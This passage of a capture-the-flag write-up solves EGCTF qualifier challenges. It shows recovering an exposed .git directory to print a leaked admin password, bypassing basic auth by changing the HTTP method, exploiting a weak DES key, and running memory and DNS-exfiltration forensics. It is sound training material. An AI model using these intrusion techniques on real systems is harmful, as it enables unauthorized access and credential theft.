if (w === undefined) {
e = b['QMZCsz'](e);
b['MdcAcN'][c] = e;
} else {
e = w;
}
return e;
};
variable = function() {
flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1'));
};
another = !![];

By looking at the end of the code we’ll see this function:

1
2
3
variable = function() {
flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1'));
};

So what I did was to paste the code in the js console, call the function and read the flag:

1
2
3
4
5
6
7
8
9
root@kali:~/Desktop/EGCTF-Quals/starter/JSCryptoMiner# js
> var a=['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39','\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xc7));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mPLuJI']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['QMZCsz']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['MdcAcN']={};b['mPLuJI']=!![];}var w=b['MdcAcN'][c];if(w===undefined){e=b['QMZCsz'
](e);b['MdcAcN'][c]=e;}else{e=w;}return e;};variable=function(){flag=String[b('0x0')](0x45,0x47,0x43,0x54,0x46,0x7b,0x4a,0x61,0x76,0x61,0x53,0x63,0x72,0x69,0x70,0x74)+atob(b('0x1'));};another=!![];
true
> variable()
undefined
> flag
'EGCTF{JavaScript_is_Fun}'
>

Starter: Rotten Code

Challenge Description:

1
2
3
We found this key online but it does not make any sense to us. Can you figure anything out?

CEARD{Pmr14_jm0m0m0m0m0m0m0m0m0m0mn}

Solution:

By looking at the text it’s easily recognizable that this is the flag but the letters are substituted.
We know that the flag starts with EGCTF so C is E and E is G, which means that the offset is 2. I used rot13.com to decode the flag:

Misc: QR c0d3

Challenge Description:

1
2
3
I tried so hard and got so far but in the end I have nothing to try. Can you help me read this QR code

Flag format EGCTF{$0m3_l337_73x7}

Solution:

We’re given an image called QR.png:

I used onlinebarcodereader.com to read the qr code, but I only got a small part of the flag:

1
R_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .

I tried rotating the image by 90 degrees to see if I’ll get any different results, which actually worked:

1
2
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR.png -rotate 90 QR_2.png
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3#

QR_2.png:

1
7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ Q

Let’s get the other 2 images:

1
2
3
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_2.png -rotate 90 QR_3.png
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_3.png -rotate 90 QR_4.png
root@kali:~/Desktop/EGCTF-Quals/misc/QR-c0d3#

QR_3.png:

1
H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n

QR_4.png:

1
33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3

Final message:

1
H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3 7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ QR_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .

Web: Hold Up

Challenge Description:

1
2
3
I never set out to be weird. It was always other people who called me weird.

http://172.105.76.128/

Solution:

The index page only had an image saying “SITE UNDER CONSTRUCTION” and nothing else:

I ran gobuster to check for sub directories and found a git directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/Desktop/EGCTF-Quals/web/hold-up# gobuster -u http://172.105.76.128/ -w /usr/share/wordlists/dirb/common.txt 

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://172.105.76.128/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 21:22:42 Starting gobuster
=====================================================
/.git/HEAD (Status: 200)
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
=====================================================
2019/11/16 21:23:22 Finished
=====================================================
root@kali:~/Desktop/EGCTF-Quals/web/hold-up#

/.git:

I used wget to download it:

1
2
3
4
5
6
7
8
root@kali:~/Desktop/EGCTF-Quals/web/hold-up# mkdir git
root@kali:~/Desktop/EGCTF-Quals/web/hold-up# cd git/
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git# wget -r http://172.105.76.128/.git/
---
FINISHED --2019-11-16 21:25:20--
Total wall clock time: 1m 21s
Downloaded: 465 files, 712K in 0.9s (774 KB/s)
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git# ls -al
total 12
drwxr-xr-x 3 root root 4096 Nov 16 21:23 .
drwxr-xr-x 3 root root 4096 Nov 16 21:25 ..
drwxr-xr-x 4 root root 4096 Nov 16 21:24 172.105.76.128
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git# cd 172.105.76.128/.git/
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# ls -la
total 88
drwxr-xr-x 8 root root 4096 Nov 16 21:24 .
drwxr-xr-x 4 root root 4096 Nov 16 21:24 ..
drwxr-xr-x 2 root root 4096 Nov 16 21:24 branches
-rw-r--r-- 1 root root 9 Nov 15 02:08 COMMIT_EDITMSG
-rw-r--r-- 1 root root 92 Nov 15 02:08 config
-rw-r--r-- 1 root root 73 Nov 15 02:08 description
-rw-r--r-- 1 root root 23 Nov 15 02:08 HEAD
drwxr-xr-x 2 root root 4096 Nov 16 21:24 hooks
-rw-r--r-- 1 root root 356 Nov 15 02:08 index
-rw-r--r-- 1 root root 2880 Nov 16 21:23 index.html
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=D;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=D;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=M;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=M;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=N;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=N;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=S;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=S;O=D'
drwxr-xr-x 2 root root 4096 Nov 16 21:24 info
drwxr-xr-x 3 root root 4096 Nov 16 21:24 logs
drwxr-xr-x 36 root root 4096 Nov 16 21:24 objects
drwxr-xr-x 4 root root 4096 Nov 16 21:25 refs
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

I checked the reflog to see the commits:

1
2
3
4
5
6
7
8
9
10
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git reflog 
2e3e1a8 (HEAD -> master) HEAD@{0}: commit: Refining
89329fa HEAD@{1}: commit: NewFeature
dfecece HEAD@{2}: commit: Addinfo
b032cf8 HEAD@{3}: commit: Disable
5b9e491 HEAD@{4}: commit: DelCr
457168f HEAD@{5}: commit: AddUsetting
b55d897 HEAD@{6}: commit: editconf
70ae358 HEAD@{7}: commit (initial): initials
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

The commit NewFeature (89329fa) revealed a secret path (/S3cR3tPaTh):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 2e3e1a8
commit 2e3e1a8c124768ecbb31e92d5c070003924b9254 (HEAD -> master)
Author: Ben ALaa <[email protected]>
Date: Thu Nov 14 23:18:26 2019 +0100

Refining

diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php
index 3d7f801..706d93b 100644
--- a/S3cR3tPaTh/config.php
+++ b/S3cR3tPaTh/config.php
@@ -419,15 +419,6 @@ $CONFIG = array(
*/
'overwriteprotocol' => '',

-/**
- * Override webroot
- * ownCloud attempts to detect the webroot for generating URLs automatically.
- * For example, if `www.example.com/owncloud` is the URL pointing to the
- * ownCloud instance, the webroot is `/owncloud`. When proxies are in use, it
- * may be difficult for ownCloud to detect this parameter, resulting in invalid URLs.
- */
-'overwritewebroot' => '',
-
/**
* Override condition
* This option allows you to define a manual override condition as a regular
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

/S3cR3tPaTh:

I could also find the credentials in one of the commits (DelCr (5b9e491)):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# git show 5b9e491
commit 5b9e491802d53d6af1ef25206ccb0765b64a248b
Author: Ben ALaa <[email protected]>
Date: Thu Nov 14 23:15:11 2019 +0100

DelCr

diff --git a/S3cR3tPaTh/config.php b/S3cR3tPaTh/config.php
index 46ed4f3..72e9842 100644
--- a/S3cR3tPaTh/config.php
+++ b/S3cR3tPaTh/config.php
@@ -194,7 +194,7 @@ $CONFIG = array(
'knowledgebaseenabled' => true,

/**
- * Enables or disables avatars or user profile photos
+ /* Enables or disables avatars or user profile photos
* `true` enables avatars, or user profile photos, `false` disables them.
* These appear on the User page, on user's Personal pages and are used by some apps
* (contacts, mail, etc).
@@ -469,15 +469,7 @@ $CONFIG = array(



-
-/**
-* Admin Credentials
-**/
-
-
-'Admin_Login' => 'Administrator'
-'Admin_Password' => 'FN3ym@bZNaF&'
-
+/** Delete Admin creds. **/


/**
root@kali:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git#

Web: Tamp3rat0r

Challenge Description:

1
2
3
4
Some one hacked us, we are sure that our password is so strong!
We've no idea what's happening!
Can you check if our security is solid or not!
http://167.71.248.246/secure/

Solution:

This was the easiest web challenge, by visiting the site we get asked for authentication:

As the description said, the password is strong so bruteforcing the basic auth is not the solution, the challenge name is Tamp3rat0r so I tried tampering with the request method:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl http://167.71.248.246/secure/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>

<address>Apache/2.4.29 (Ubuntu) Server at 167.71.248.246 Port 80</address>
</body></html>
root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r# curl -X POST http://167.71.248.246/secure/
our secret flag is: EGCTF{0xc7d22f_is_a_t4mp3rat0r}
root@kali:~/Desktop/EGCTF-Quals/web/Tamp3rat0r#

Crypto: Des amies

Challenge Description:

1
nc 167.71.93.117 9000

Hint:

1
Strong key!

Solution:

By connecting to that port we get asked for a name, then we get an encrypted output:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# nc 167.71.93.117 9000
Name: test
Here is your personalized message: Mi!
Itqq2@QRI,ƮG@0M\a"?K4$y N
t-4QV
]Khe-װWa58ky

Bye

^C
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies#

From the challenge name I assumed that the message is DES encrypted so I tried getting an encrypted message then sending it back again to see if I’ll get the decrypted result.
I sent 1, then I saved the output to a file and called it out.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 
Name: Here is your personalized message: L8O@eMcNJN4X0FƤ߃&
[Mڸ"*A!v.$.8v\G9(sK{~L{+
qOw|,>ԄB̃]R

Bye
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# echo 1 | nc 167.71.93.117 9000 > out.1
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# xxd out.1
00000000: 4e61 6d65 3a20 4865 7265 2069 7320 796f Name: Here is yo
00000010: 7572 2070 6572 736f 6e61 6c69 7a65 6420 ur personalized
00000020: 6d65 7373 6167 653a 20b4 4c38 4f0f 4019 message: .L8O.@.
00000030: e065 834d 63a3 f987 c78a 0195 ebf9 4e34 .e.Mc.........N4
00000040: 5813 30c0 46c6 a480 df83 260c 5b4d dab8 X.0.F.....&.[M..
00000050: 199c c222 2a41 2176 2ea0 ebf9 2499 edfd ..."*A!v....$...
00000060: 2e04 3876 5c47 d039 aa28 b073 a34b 14c5 ..8v\G.9.(.s.K..
00000070: 7b8e efad 7ed6 cde0 de4c 7bc1 2b0a 8f71 {...~....L{.+..q
00000080: 1c4f cde0 77d1 7c84 edeb 2c15 3e06 d484 .O..w.|...,.>...
00000090: 42ad cc83 1db5 5dd5 520a 0a42 7965 B.....].R..Bye
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies#

I opened the file in vi and removed Name: Here is your personalized message: and Bye:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# vi out.1
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# xxd out.1
00000000: b44c 384f 0f40 19e0 6583 4d63 a3f9 87c7 [email protected]....
00000010: 8a01 95eb f94e 3458 1330 c046 c6a4 80df .....N4X.0.F....
00000020: 8326 0c5b 4dda b819 9cc2 222a 4121 762e .&.[M....."*A!v.
00000030: a0eb f924 99ed fd2e 0438 765c 47d0 39aa ...$.....8v\G.9.
00000040: 28b0 73a3 4b14 c57b 8eef ad7e d6cd e0de (.s.K..{...~....
00000050: 4c7b c12b 0a8f 711c 4fcd e077 d17c 84ed L{.+..q.O..w.|..
00000060: eb2c 153e 06d4 8442 adcc 831d b55d d552 .,.>...B.....].R
00000070: 0a0a ..
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies#

Then I sent the encrypted message as an input, and I successfully got back the decrypted message, that’s when I knew that my approach wasn’t intended because it wants the decryption key as the flag:

1
2
3
4
5
6
7
root@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies# cat out.1 | nc 167.71.93.117 9000
Name: Here is your personalized message: 1
Well done, now submit the key in hex format, for example, if the key is 'Winter' submit EGCTF{57696e746572} m>eMcNJN4X0FƤ߃&
[Mڸ"*A!v.$.8v\G9(sK{~L{+
qOw|,>ԄB̃]R

Byeroot@kali:~/Desktop/EGCTF-Quals/crypto/DES-amies#

The hint said Strong key!, so it’s probably a weak one, and DES is known for some weak keys. I searched for weak DES keys and found this Wikipedia page. I used des.online-domain-tools.com and started trying some of the keys, 0xFEFEFEFEFEFEFEFE worked:

Forensics: Data Leakage

Challenge Description:

1
2
3
We acquired this memory image from the computer of the main suspect in corporate espionage case. Could you help us find what had been leaked?

flag: EGCTF{md5_hex_lowercase}

Solution:

We’re given a memory image called memdump.mem.
First thing I did was to check the image info (I used volatility):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/Desktop/eg-ctf-quals/forensics/dataleakage/memdump.mem)
PAE type : PAE
DTB : 0x31c000L
KDBG : 0x80544ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2019-11-05 09:22:13 UTC+0000
Image local date and time : 2019-11-05 11:22:13 +0200

root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage#

Then I checked the processes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
0x000000000164bda0 svchost.exe 972 676 0x08600100 2019-11-05 09:20:17 UTC+0000
0x000000000164cda0 svchost.exe 912 676 0x086000e0 2019-11-05 09:20:17 UTC+0000
0x000000000165b230 svchost.exe 1220 676 0x08600160 2019-11-05 09:20:17 UTC+0000
0x0000000001664390 7zFM.exe 1144 1520 0x08600300 2019-11-05 09:21:53 UTC+0000
0x00000000016ba020 smss.exe 540 4 0x08600020 2019-11-05 09:20:14 UTC+0000
0x0000000001763680 alg.exe 1336 676 0x08600180 2019-11-05 09:20:45 UTC+0000
0x0000000001777658 vmtoolsd.exe 444 676 0x08600220 2019-11-05 09:20:45 UTC+0000
0x000000000178e440 winlogon.exe 632 540 0x08600060 2019-11-05 09:20:16 UTC+0000
0x00000000017eba78 VGAuthService.e 256 676 0x08600200 2019-11-05 09:20:37 UTC+0000
0x00000000018044b8 explorer.exe 1520 1488 0x086001c0 2019-11-05 09:20:19 UTC+0000
0x000000000181c3e8 csrss.exe 604 540 0x08600040 2019-11-05 09:20:15 UTC+0000
0x0000000001838c10 lsass.exe 688 632 0x086000a0 2019-11-05 09:20:16 UTC+0000
0x00000000018413e0 wuauclt.exe 1880 1112 0x086002c0 2019-11-05 09:21:30 UTC+0000
0x0000000001854140 svchost.exe 1160 676 0x08600140 2019-11-05 09:20:17 UTC+0000
0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000
0x00000000018f64a0 rundll32.exe 1356 1520 0x08600260 2019-11-05 09:20:45 UTC+0000
0x000000000197d620 wscntfy.exe 1460 1112 0x086002a0 2019-11-05 09:21:45 UTC+0000
0x00000000019a65b0 svchost.exe 1112 676 0x08600120 2019-11-05 09:20:17 UTC+0000
0x00000000019b4020 spoolsv.exe 1676 676 0x086001e0 2019-11-05 09:20:19 UTC+0000
0x0000000001a16980 svchost.exe 2024 676 0x086001a0 2019-11-05 09:20:37 UTC+0000
0x0000000001a18da0 wmiprvse.exe 740 912 0x08600240 2019-11-05 09:20:45 UTC+0000
0x0000000001a97da0 vmacthlp.exe 896 676 0x086000c0 2019-11-05 09:20:17 UTC+0000
0x0000000001ab4da0 FTK Imager.exe 592 1520 0x08600320 2019-11-05 09:21:59 UTC+0000
0x0000000001b0ad10 services.exe 676 632 0x08600080 2019-11-05 09:20:16 UTC+0000
0x0000000001b17808 vmtoolsd.exe 1496 1520 0x08600280 2019-11-05 09:20:46 UTC+0000
0x0000000001bcb830 System 4 0 0x0031c000
0x0000000002e9b440 winlogon.exe 632 540 0x08600060 2019-11-05 09:20:16 UTC+0000
0x00000000035c5c10 lsass.exe 688 632 0x086000a0 2019-11-05 09:20:16 UTC+0000
0x00000000035f0390 7zFM.exe 1144 1520 0x08600300 2019-11-05 09:21:53 UTC+0000
0x00000000038b0680 alg.exe 1336 676 0x08600180 2019-11-05 09:20:45 UTC+0000
0x0000000008cd14b8 explorer.exe 1520 1488 0x086001c0 2019-11-05 09:20:19 UTC+0000
0x0000000008da9da0 wmiprvse.exe 740 912 0x08600240 2019-11-05 09:20:45 UTC+0000
0x0000000008f02020 spoolsv.exe 1676 676 0x086001e0 2019-11-05 09:20:19 UTC+0000
0x000000000908b620 wscntfy.exe 1460 1112 0x086002a0 2019-11-05 09:21:45 UTC+0000
0x00000000090c6da0 FTK Imager.exe 592 1520 0x08600320 2019-11-05 09:21:59 UTC+0000
0x00000000091ded10 services.exe 676 632 0x08600080 2019-11-05 09:20:16 UTC+0000
0x000000000920e3e0 wuauclt.exe 1880 1112 0x086002c0 2019-11-05 09:21:30 UTC+0000
0x00000000092e7230 svchost.exe 1220 676 0x08600160 2019-11-05 09:20:17 UTC+0000
0x00000000092e8da0 vmacthlp.exe 896 676 0x086000c0 2019-11-05 09:20:17 UTC+0000
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage#

And I dumped the files:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# mkdir files
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 dumpfiles -D ./files/
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x81862510 4 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
SharedCacheMap 0x81862510 4 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
DataSectionObject 0x814ba320 4 \Device\HarddiskVolume1\WINDOWS\system32\config\software
---
ImageSectionObject 0x8163b950 592 \Device\HarddiskVolume1\WINDOWS\system32\msvcr71.dll
DataSectionObject 0x8163b950 592 \Device\HarddiskVolume1\WINDOWS\system32\msvcr71.dll
ImageSectionObject 0x8181eb78 592 \Device\HarddiskVolume1\WINDOWS\system32\mshtml.dll
DataSectionObject 0x8181eb78 592 \Device\HarddiskVolume1\WINDOWS\system32\mshtml.dll
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage#

I ran the file command on all the dumped files and found 2 RAR archives:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# cd files/
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage/files# file *
file.1112.0x8144bae8.img: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
file.1112.0x81463a10.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.1112.0x814646e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
---
file.1144.0x8147e6c8.dat: RAR archive data, v5
file.1144.0x81583d98.vacb: RAR archive data, v5
---
file.972.0x8183a6e0.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.972.0x8183aae8.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
file.972.0x8183af30.img: PE32 executable (DLL) (console) Intel 80386, for MS Windows
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage/files#

Both of them had an image called flag.png and both of them were password protected:


Earlier when I ran psscan there was a WinRAR process running (PID : 1308 ):

1
2
3
4
5
6
7
8
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P) Name PID PPID PDB Time created Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
---
0x000000000189c2c8 WinRAR.exe 1308 1520 0x086002e0 2019-11-05 09:21:46 UTC+0000
---
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage#

I checked the environment variables of that process and found the password there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage# volatility -f ./memdump.mem --profile=WinXPSP2x86 envars -p 1308
Volatility Foundation Volatility Framework 2.6
Pid Process Block Variable Value
-------- -------------------- ---------- ------------------------------ -----
1308 WinRAR.exe 0x00010000 ALLUSERSPROFILE C:\Documents and Settings\All Users
1308 WinRAR.exe 0x00010000 APPDATA C:\Documents and Settings\Administrator\Application Data
1308 WinRAR.exe 0x00010000 CLIENTNAME Console
1308 WinRAR.exe 0x00010000 CommonProgramFiles C:\Program Files\Common Files
1308 WinRAR.exe 0x00010000 COMPUTERNAME EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 ComSpec C:\WINDOWS\system32\cmd.exe
1308 WinRAR.exe 0x00010000 FP_NO_HOST_CHECK NO
1308 WinRAR.exe 0x00010000 HOMEDRIVE C:
1308 WinRAR.exe 0x00010000 HOMEPATH \Documents and Settings\Administrator
1308 WinRAR.exe 0x00010000 LOGONSERVER \\EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 NUMBER_OF_PROCESSORS 1
1308 WinRAR.exe 0x00010000 OS Windows_NT
1308 WinRAR.exe 0x00010000 PASSWORD th!s!sg00d
1308 WinRAR.exe 0x00010000 Path C:\Program Files\WinRAR;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
1308 WinRAR.exe 0x00010000 PATHEXT .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
1308 WinRAR.exe 0x00010000 PROCESSOR_ARCHITECTURE x86
1308 WinRAR.exe 0x00010000 PROCESSOR_IDENTIFIER x86 Family 6 Model 158 Stepping 9, GenuineIntel
1308 WinRAR.exe 0x00010000 PROCESSOR_LEVEL 6
1308 WinRAR.exe 0x00010000 PROCESSOR_REVISION 9e09
1308 WinRAR.exe 0x00010000 ProgramFiles C:\Program Files
1308 WinRAR.exe 0x00010000 SESSIONNAME Console
1308 WinRAR.exe 0x00010000 SystemDrive C:
1308 WinRAR.exe 0x00010000 SystemRoot C:\WINDOWS
1308 WinRAR.exe 0x00010000 TEMP C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
1308 WinRAR.exe 0x00010000 TMP C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp
1308 WinRAR.exe 0x00010000 USERDOMAIN EGCTF-FEDB3D835
1308 WinRAR.exe 0x00010000 USERNAME Administrator
1308 WinRAR.exe 0x00010000 USERPROFILE C:\Documents and Settings\Administrator
1308 WinRAR.exe 0x00010000 windir C:\WINDOWS
root@kali:~/Desktop/EGCTF-Quals/forensics/data-leakage#


flag.png:

Forensics: Oh My Salary!

Challenge Description:

1
2
3
List of employees with their salaries had been leaked. Here is the traffic captured from the network. It may contain the leaked data. Can you help?

Flag Format: EGCTF{md5_hex_lowercase}

Solution:

We’re given a pcapng file called salary_traffic.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of weird DNS queries:

All of them were looking up the same domain example.test with different base-64 encoded strings as subdomains.
I used tshark to extract all of these DNS queries and I saved them into a file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test"
Running as user "root" and group "root". This could be dangerous.
192.168.125.145 N3q8ryccAATIxWF+.example.test
192.168.125.145 8AoAAAAAAAB6AAAA.example.test
192.168.125.145 AAAAANY3kCg6AWnJ.example.test
192.168.125.145 Ic9uESaH5GfcRZ9l.example.test
192.168.125.145 KuuWZ/LK8Hnb\nmS+.example.test
---
192.168.125.145 GQAYQB0AGEALgB0A.example.test
192.168.125.145 HgAdAAAABQKAQDQb.example.test
192.168.125.145 KHeApTVARUGAQAgA.example.test
192.168.125.145 AAAAAA=\n.example.test
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" > out.txt
Running as user "root" and group "root". This could be dangerous.
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

Then by using a text editor I removed the ip address, .example.test and the new lines:

1
2
3
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# cat out.txt 
